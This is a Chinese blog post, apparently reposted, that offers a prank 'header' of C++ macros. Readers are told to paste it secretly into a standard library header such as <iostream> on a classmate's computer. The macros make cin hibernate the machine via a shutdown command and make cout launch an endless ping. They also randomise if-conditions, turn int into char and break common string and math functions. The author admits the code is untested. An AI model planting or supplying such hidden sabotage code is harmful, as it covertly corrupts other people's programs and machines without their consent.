机房惨案专用头文件

转载自MoveToEx的JC Header

欢迎大佬们补充。

没在电脑上试过,有错误请见谅

将本代码放到任意一个C++自带的头文件(如<iostream>)中即可。
可以被”查找定义”等类似操作发现。

效果可能很惨烈
起码那位被机惨如果没发现的话应该活不下去了

推荐放在他包括的最后一个头文件的最后

如果他用VS就不要想了
毕竟VS输入的内容可以实时查看定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#ifndef _IOSTREAM	// Check if <iostream> is included
#include <iostream>
#endif

#ifndef _CSTDILB_ // <cstdlib>
#include <cstdlib>
#endif

#ifndef _CTIME_ // <ctime>
#include <ctime>
#endif

#ifndef _QUEUE_
#include <queue>
#endif

// For input & output
#define freopen(file, mode, ptr) freopen(mode, file, ptr)
#define cin system("shutdown /h"); cin
#define cout system("ping 127.0.0.1 -t"); cout
#define printf(s, ...)
#define scanf(s, ...)

// For QRead & QWrite
#define putchar(c)
#define getchar() rand() % 10 + '0'
#define isdigit(i) (!(i >= '0' && i <= '9'))

// Others
#define sqrt(a) (a * a * a)
#define abs(i) ((i > 0) ? -i : i)
#undef int
#define int char
#define system(s)

// For C string operations
#define strlen(s) -1
#define strcmp(a, b) 1
#define strcat(a, b) memset(a, 0, sizeof(a)); memset(b, 0, sizeof(b));

// For keywords
#define if(x) srand((unsigned)time(0)); if (rand() < 500)

// For STL Containers
#define stack priority_queue

效果:

会把所有常用的函数全部篡改。

比如如果他代码里出现了if(x)(x是某个变量),就会被改成随机数,然后判断随机数是否小于500

再比如,int会被改成charcin会被改成电脑休眠再cingetchar会变成随机数字0~9,cout会被改成先ping一下localhostcout

也不用字符串了,全部被改了,无论字符串有多长都会返回-1,无论两个字符串有多么不同都会告诉你相同,一旦strcat就等于把两个字符串全部memset